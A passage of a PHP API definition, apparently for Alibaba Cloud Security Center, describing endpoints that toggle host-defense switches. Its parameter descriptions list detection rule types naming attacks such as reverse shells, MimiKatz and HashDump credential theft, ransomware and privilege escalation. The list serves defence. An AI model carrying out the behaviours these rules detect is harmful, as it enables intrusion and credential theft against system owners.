**USER-ENABLE-SWITCH-TYPE_54374**：Windows入侵痕迹清理'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54265**：Linux劫持PAM模块'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54953**：Linux HashDump攻击'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54383**：Windows MimiKatz凭据窃取'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54384**：Windows HashDump攻击'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50861**：Linux信息探测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52818**：Windows信息探测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54034**：Linux内网扫描'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51228**：Windows高危横向渗透工具'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50870**：Linux反弹shell'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50873**：WebShell执行命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51236**：Windows反弹shell'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50877**：Linux恶意程序通信'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50884**：Linux可疑蠕虫脚本行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50885**：Linux恶意脚本行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51201**：Linux勒索病毒'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51202**：Linux可疑勒索行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52827**：Windows勒索病毒'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52828**：Windows可疑勒索行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52829**：Windows删除系统备份行为', + 'type' => 'string', + 'required' => false, + 'example' => 'kdump_switch', + ], + 'required' => true, + 'maxItems' => 50, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '765EDBDE-1686-5DBA-B76F-2E0E6E7E1B96', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"765EDBDE-1686-5DBA-B76F-2E0E6E7E1B96\\"\\n}","type":"json"}]', + 'title' => '批量修改防御开关的状态', + ], + 'DescribeCommonTargetResultList' => [ + 'summary' => '根据开关类型查询该类型下所配置得服务器信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '113.57.XX.XX', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '配置规则类型。取值：'."\n" + ."\n" + .'- **webshell_timescan**：网站后门查杀。'."\n" + .'- **aliscriptengine**：深度检测引擎。'."\n" + .'- **alidetect**：本地文件检测引擎的安装范围。'."\n" + .'- **alidetect-scan-enable**：本地文件检测引擎的检测范围。'."\n" + ."\n" + .'> 您可以通过[ListClientUserDefineRules](~~ListClientUserDefineRules~~)和[ListSystemClientRules](~~ListSystemClientRules~~)获取更多自定义和系统配置的规则类型。', + 'type' => 'string', + 'required' => true, + 'example' => 'webshell_timescan', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '查询返回的数据信息。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6673D49C-A9AB-40DD-B4A2-B92306701AE7', + ], + 'TargetConfig' => [ + 'description' => '配置信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '配置类型。取值：'."\n" + ."\n" + .'- **webshell_timescan**：网站后门查杀。'."\n" + .'- **aliscriptengine**：深度检测引擎。'."\n" + .'- **alidetect**：本地文件检测引擎的安装范围。'."\n" + .'- **alidetect-scan-enable**：本地文件检测引擎的检测范围。', + 'type' => 'string', + 'example' => 'webshell_timescan', + ], + 'Flag' => [ + 'description' => '资产配置标识。取值：'."\n" + ."\n" + .'- **add**：对该资产生效。'."\n" + .'- **del**：不对该资产生效。', + 'type' => 'string', + 'example' => 'del', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'string', + 'example' => '22', + ], + 'TargetDefault' => [ + 'description' => '资产配置默认标识。', + 'type' => 'string', + 'example' => 'add', + ], + 'TargetType' => [ + 'description' => '生效资产的选择模式。取值：'."\n" + ."\n" + .'- **uuid**：按单个资产添加。'."\n" + .'- **groupId**：按照服务器分组添加。', + 'type' => 'string', + 'example' => 'uuid', + ], + 'TargetList' => [ + 'description' => '生效的群组编号或资产UUID。'."\n" + .'> 若**TargetType**返回**uuid**时，该项标识资产的**UUID**。若**TargetType**返回**groupId**时，该项表示群组编号。', + 'type' => 'array', + 'items' => [ + 'description' => '生效的群组编号或资产UUID。'."\n" + .'> 若**TargetType**返回**uuid**时，该项标识资产的**UUID**。若**TargetType**返回**groupId**时，该项表示群组编号。', + 'type' => 'string', + 'example' => 'i-bp1hduhk14uekf7i****', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6673D49C-A9AB-40DD-B4A2-B92306701AE7\\",\\n \\"TargetConfig\\": {\\n \\"Type\\": \\"webshell_timescan\\",\\n \\"Flag\\": \\"del\\",\\n \\"TotalCount\\": \\"22\\",\\n \\"TargetDefault\\": \\"add\\",\\n \\"TargetType\\": \\"uuid\\",\\n \\"TargetList\\": [\\n \\"i-bp1hduhk14uekf7i****\\"\\n ]\\n }\\n}","type":"json"}]', + 'title' => '查询开关的配置资产', + ], + 'OperateSuspiciousOverallConfig' => [ + 'summary' => '设置异常事件全局配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '101927', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '222.178.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '开关类型。取值：'."\n" + ."\n" + .'- **auto_breaking**：防病毒'."\n" + .'- **ransomware_breaking**：防勒索（诱饵捕获）'."\n" + .'- **webshell\\_cloud_breaking**：网站后门连接防御'."\n" + .'- **alinet**：恶意网络行为防御'."\n" + .'- **k8s\\_log_analysis**：容器K8s威胁检测'."\n" + .'- **alisecguard**：客户端自保护防御模式', + 'type' => 'string', + 'required' => true, + 'example' => 'k8s_log_analysis', + ], + ], + [ + 'name' => 'Config', + 'in' => 'query', + 'schema' => [ + 'description' => '开关。取值：'."\n" + ."\n" + .'- **on**：开启'."\n" + .'- **off**：关闭', + 'type' => 'string', + 'required' => true, + 'example' => 'off', + ], + ], + [ + 'name' => 'NoTargetAsOn', + 'in' => 'query', + 'schema' => [ + 'description' => '设置是否需要配置资产。默认**false**。取值：'."\n" + .'- **true**：需要'."\n" + .'- **false**：不需要'."\n" + .'> 该值仅对**config**为**on**时有效'."\n", + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '调用返回信息。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'C286491D-4A2F-589A-B63B-D2AD3DA9BD71', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C286491D-4A2F-589A-B63B-D2AD3DA9BD71\\"\\n}","type":"json"}]', + 'title' => '设置异常事件全局配置', + ], + 'OperateCommonOverallConfig' => [ + 'summary' => '根据类型设置全局开关。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92412', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '223.79.XX.XX', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '配置类型。取值：'."\n" + ."\n" + .'- **kdump_switch**：主动防御优化体验'."\n" + .'- **threat_detect**：自适应威胁检测能力'."\n" + .'- **suspicious_aggregation**：告警关联'."\n" + .'- **alidetect**：文件检测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_38857**：Linux入口服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50858**：Linux Web服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50859**：Linux入口服务执行可疑操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50862**：Linux 云助手高级防护'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50867**：Linux植入恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50868**：Linux植入可疑文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_64025**：Linux入口服务执行命令[增强模式]'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51229**：Windows浏览器服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51230**：Windows入口服务执行可疑操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51232**：Windows系统进程执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51233**：Windows Java服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51234**：Windows Office组件执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51235**：Windows Web服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52820**：Windows 植入恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52826**：Windows 入口服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_55251**：Windows 数据库服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_63725**：Windows 入口服务植入可疑脚本/二进制文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_3277**：Linux 可疑进程启动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50983**：Linux 混淆命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51200**：Linux命令行下载运行恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_71131**：Linux入口服务执行可疑行为序列'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51225**：Windows Powershell执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51226**：Windows Powershell执行可疑命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52821**：Windows 可疑进程启动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57242**：Windows 恶意命令执行'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57340**：Windows 命令行下载运行恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_39659**：Windows 敏感注册表项防护'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52816**：Windows 高危账号操纵行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54365**：Windows 创建服务自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54366**：Windows 创建高危自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54367**：Windows 创建计划任务自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54368**：Windows 创建注册表自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54369**：Windows 创建WMI自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50869**：Linux越权执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_53272**：Linux利用内核漏洞提权'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54395**：Linux越权读写敏感文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57897**：Linux疑似提权行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52825**：Windows 越权执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_5507**：Linux恶意驱动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50876**：Linux对抗安全软件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_53168**：Linux进程调试'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54699**：Linux劫持动态链接库'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_62981**：Linux绕过安全监控'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52815**：Windows 加载高危驱动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52823**：Windows 运行高危ARK工具'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54373**：Windows 对抗安全软件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54374**：Windows 入侵痕迹清理'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54265**：Linux劫持PAM模块'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54953**：Linux HashDump攻击'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54383**：Windows MimiKatz凭据窃取'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54384**：Windows HashDump攻击'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50861**：Linux信息探测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52818**：Windows信息探测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54034**：Linux内网扫描'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51228**：Windows高危横向渗透工具'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50870**：Linux反弹shell'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50873**：WebShell执行命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51236**：Windows反弹shell'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50877**：Linux恶意程序通信'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50884**：Linux可疑蠕虫脚本行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50885**：Linux恶意脚本行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51201**：Linux勒索病毒'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51202**：Linux可疑勒索行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52827**：Windows勒索病毒'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52828**：Windows可疑勒索行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52829**：Windows删除系统备份行为', + 'type' => 'string', + 'required' => true, + 'example' => 'kdump_switch', + ], + ], + [ + 'name' => 'Config', + 'in' => 'query', + 'schema' => [ + 'description' => '开关。取值：'."\n" + ."\n" + .'- **on**：开启'."\n" + .'- **off**：关闭', + 'type' => 'string', + 'required' => true, + 'example' => 'on', + ], + ], + [ + 'name' => 'NoTargetAsOn', + 'in' => 'query', + 'schema' => [ + 'description' => '设置是否需要配置资产。默认**false**。取值：'."\n" + .'- **true**：需要'."\n" + .'- **false**：不需要'."\n" + .'> 该值仅对**config**为**on**时有效'."\n", + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\"\\n}","type":"json"}]', + 'title' => '设置全局开关', + ], + 'DescribeCommonOverallConfig' => [ + 'summary' => '查询主开关全局配置信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92030', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '59.61.XX.XX', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '配置类型。取值：'."\n" + ."\n" + .'- **kdump_switch**：主动防御优化体验'."\n" + .'- **threat_detect**：自适应威胁检测能力'."\n" + .'- **suspicious_aggregation**：告警关联'."\n" + .'- **alidetect**：文件检测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_3277**：可疑进程启动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_5507**：恶意驱动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_38857**：入口服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50858**：web服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50859**：入口服务执行可疑操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50861**：信息探测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50862**：云助手高级防护'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50867**：植入恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50868**：植入可疑文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50869**：越权执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50870**：反弹shell'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50873**：WebShell执行命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50876**：对抗安全软件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50877**：恶意程序通信'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50884**：可疑蠕虫脚本行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50885**：恶意脚本行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50983**：混淆命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51200**：命令行下载运行恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51201**：勒索病毒'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51202**：可疑勒索行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_53168**：进程调试'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_53272**：利用内核漏洞提权'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54034**：内网扫描'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54265**：劫持PAM模块'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54395**：越权读写敏感文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54699**：劫持动态链接库'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54953**：HashDump攻击'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57897**：疑似提权行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_62981**：绕过安全监控'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_64025**：入口服务执行命令[增强模式]'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_39659**：敏感注册表项防护'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51225**：Powershell执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51226**：Powershell执行可疑命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51228**：高危横向渗透工具'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51229**：浏览器服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51230**：入口服务执行可疑操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51232**：系统进程执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51233**：Java服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51234**：Office组件执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51235**：Web服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51236**：反弹shell'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52815**：加载高危驱动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52816**：高危账号操纵行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52818**：信息探测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52820**：植入恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52821**：可疑进程启动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52823**：运行高危ARK工具'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52825**：越权执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52826**：入口服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52827**：勒索病毒'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52828**：可疑勒索行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52829**：删除系统备份行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54168**：LSA安全权限服务防护'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54365**：创建服务自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54366**：创建高危自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54367**：创建计划任务自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54368**：创建注册表自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54369**：创建WMI自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54373**：对抗安全软件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54374**：入侵痕迹清理'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54384**：HashDump攻击'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_55251**：数据库服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57242**：恶意命令执行'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57340**：命令行下载运行恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_62357**：云助手服务信息探测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_63725**：入口服务植入可疑脚本/二进制文件', + 'type' => 'string', + 'required' => true, + 'example' => 'kdump_switch', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6D9CDB47-6191-4415-BE63-7E8B12CD4FBE', + ], + 'OverallConfig' => [ + 'description' => '配置信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '配置类型。取值：'."\n" + ."\n" + .'- **kdump_switch**：主动防御优化体验'."\n" + .'- **threat_detect**：自适应威胁检测能力'."\n" + .'- **suspicious_aggregation**：告警关联'."\n" + .'- **alidetect**：文件检测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_3277**：可疑进程启动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_5507**：恶意驱动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_38857**：入口服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50858**：web服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50859**：入口服务执行可疑操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50861**：信息探测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50862**：云助手高级防护'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50867**：植入恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50868**：植入可疑文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50869**：越权执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50870**：反弹shell'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50873**：WebShell执行命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50876**：对抗安全软件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50877**：恶意程序通信'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50884**：可疑蠕虫脚本行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50885**：恶意脚本行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50983**：混淆命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51200**：命令行下载运行恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51201**：勒索病毒'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51202**：可疑勒索行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_53168**：进程调试'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_53272**：利用内核漏洞提权'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54034**：内网扫描'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54265**：劫持PAM模块'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54395**：越权读写敏感文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54699**：劫持动态链接库'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54953**：HashDump攻击'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57897**：疑似提权行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_62981**：绕过安全监控'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_64025**：入口服务执行命令[增强模式]'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_39659**：敏感注册表项防护'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51225**：Powershell执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51226**：Powershell执行可疑命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51228**：高危横向渗透工具'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51229**：浏览器服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51230**：入口服务执行可疑操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51232**：系统进程执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51233**：Java服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51234**：Office组件执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51235**：Web服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51236**：反弹shell'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52815**：加载高危驱动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52816**：高危账号操纵行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52818**：信息探测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52820**：植入恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52821**：可疑进程启动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52823**：运行高危ARK工具'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52825**：越权执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52826**：入口服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52827**：勒索病毒'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52828**：可疑勒索行为'."\n" + .'- 